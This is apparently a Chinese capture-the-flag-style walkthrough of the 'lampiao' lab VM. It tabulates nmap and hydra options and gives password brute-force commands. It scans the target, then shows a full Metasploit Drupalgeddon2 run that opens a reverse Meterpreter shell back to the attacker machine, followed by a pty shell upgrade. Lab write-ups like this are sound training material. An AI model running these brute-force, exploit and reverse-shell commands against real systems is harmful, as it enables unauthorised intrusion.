lampiao
实验环境搭建
攻击机系统: Kali linux
靶机系统: lampiao
在kali linux安装工具命令如下:
apt-get install nmap
apt-get install hydra
Nmap使用参数:
使用参数 | 描述 |
---|---|
-O | 系统探测指纹信息搜集 |
-sV | 系统服务版本探测 |
-sS | 半开扫描 发送SYN数据包探测 |
-sT | 全连接扫描 |
-sU | 发送UDP数据包探测 |
-sA | 发送ACK数据包探测 |
-sF | 发送FIN数据包探测 |
-F(1-5) | 快速扫描 |
-A | 综合服务扫描 |
-p(1-65535) | 端口信息扫描 端口范围1-65535 也可以指定特殊端口 如: 80 1433 3306… |
-Pn | 禁止发送Ping数据包方式进行探测 |
-sn | 活跃主机探测 |
d | d |
– | – |
hydra参数用法
参数 | 描述 |
---|---|
-l |
<小写> 指定破解的用户名 ;对特定的用户破解 |
-L |
<大写> 指定用户名字典进行爆破 |
-p |
<小写> 指定密码破解 |
-P |
<大写> 指定密码字典破解 |
-S | <大写> 采用SSL连接 |
-s |
<小写> 可通过这个参数指定非默认端口 |
-e |
<可选选项> n: 空密码试探 ;s: 指定用户密码进行试探 |
-C |
使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数 |
-M |
指定目标列表文件一行一条 |
-o |
指定输出文件 |
-v/V | 显示详细过程 |
-o | 可导出文件 |
-t |
同时运行的线程数,默认为16 |
-w | 指定超时时间,默认为30s |
-f | 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解 |
破解Mysql |
hydra |
破解SSH |
hydra -L user.txt -P password.txt -e ns -vV |
破解https |
hydra -m /index.php -l muts -P pass.txt |
破解POP3 |
hydra -l muts -P pass.txt my.pop3.mail pop3 |
破解smb |
hydra -l administrator -P pass.txt |
— | — |
因为并不知道靶机的IP地址,于是使用nmap,进行扫描,这里我扫了vm虚拟网卡的C段nmap -sn 10.0.242.0/24//nmap -p 1-65535 -sS -sV 10.0.242.0/24,结果如下:
端口扫描之后对这个ip进行端口扫描(我将vm的网络模式改为了桥接模式,所以ip变为了10.0.242.88),首先扫了常见端口:
nmap -v -sV --top-ports 3674 10.0.242.88
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http?
msf > search ssh
[!] Module database cache not built yet, using slow search
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/ssh/ssh_version normal SSH Version Scanner
msf > use auxiliary/scanner/ssh/ssh_version
msf auxiliary(scanner/ssh/ssh_version) > show options
Module options (auxiliary/scanner/ssh/ssh_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the SSH probe
msf auxiliary(scanner/ssh/ssh_version) > set rhosts 10.0.242.88
rhosts => 10.0.242.88
msf auxiliary(scanner/ssh/ssh_version) > run
[+] 10.0.242.88:22 - SSH server version: SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.7 ( service.version=6.6.1p1 openssh.comment=Ubuntu-2ubuntu2.7 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH service.cpe23=cpe:/a:openbsd:openssh:{service.version} os.vendor=Ubuntu os.device=General os.family=Linux os.product=Linux os.version=14.04 os.cpe23=cpe:/o:canonical:ubuntu_linux:14.04 service.protocol=ssh fingerprint_db=ssh.banner )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ssh/ssh_version) >
没有得到什么其他有效信息,尝试用hydra进行密码爆破,用自带的字典没找到,使用crunch生成的字典也没有结果,目测行不通:
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -V -t 10 ssh://10.0.242.88
转看80端口web页面,是个静态页面,nikto扫了没什么发现,dirb和御剑扫目录,都没什么发现,emmmm尴尬。难道,服务放在了很脏的端口上吗? 于是重新进行了端口扫描,使用:
root@kali:~# sudo nmap -v -sS -sV -Pn -p 1-65535 10.0.242.88
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http?
1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 00:0C:29:14:89:32 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
然而并没有什么卵用,于是探测下网站框架是否存在漏洞,毕竟web漏洞比较繁琐;先扫下目录查看下
root@kali:~# dirb http://10.0.242.88:1898 -o out
---- Scanning URL: http://10.0.242.88:1898/ ----
==> DIRECTORY: http://10.0.242.88:1898/includes/
+ http://10.0.242.88:1898/index.php (CODE:200|SIZE:11423)
==> DIRECTORY: http://10.0.242.88:1898/misc/
==> DIRECTORY: http://10.0.242.88:1898/modules/
==> DIRECTORY: http://10.0.242.88:1898/profiles/
+ http://10.0.242.88:1898/robots.txt (CODE:200|SIZE:2189)
==> DIRECTORY: http://10.0.242.88:1898/scripts/
+ http://10.0.242.88:1898/server-status (CODE:403|SIZE:295)
==> DIRECTORY: http://10.0.242.88:1898/sites/
==> DIRECTORY: http://10.0.242.88:1898/themes/
+ http://10.0.242.88:1898/web.config (CODE:200|SIZE:2200)
+ http://10.0.242.88:1898/xmlrpc.php (CODE:200|SIZE:42)
扫到了一些目录和文件,摘出来可能有用的内容。/modules/路径可以看到其支持的组件,可能之后会派上用场,还有/robots文件,和xmlrpc.php可能会有用处。这里先大概扫一眼。根据网站结构框架 可得知是个drupal
模板框架
漏洞库中有几种可利用的漏洞脚本
第一步: # msf> search drupal
第二步: # msf> use exploit/unix/webapp/drupal_drupalgeddon2
第三步: # msf> set rhosts 和 rport
第四步: # msf> run
第五步: # msf> 执行shell命令
然后输入一下命令
python -c 'import pty;pty.spawn("/bin/bash")'
msf > use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 10.0.242.88
rhost => 10.0.242.88
msf exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
rport => 1898
msf exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 10.0.242.69:4444
[*] Drupal 7 targeted at http://10.0.242.88:1898/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Sending stage (37775 bytes) to 10.0.242.88
[*] Meterpreter session 6 opened (10.0.242.69:4444 -> 10.0.242.88:41346) at 2018-12-27 09:58:29 +0800
meterpreter > shell
Process 3539 created.
Channel 0 created.
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@lampiao:/var/www/html$
拿到shell的权限,就开始进行提权的动作,找相关漏洞提交脚本 执行gcc编译可执行文件,直接提权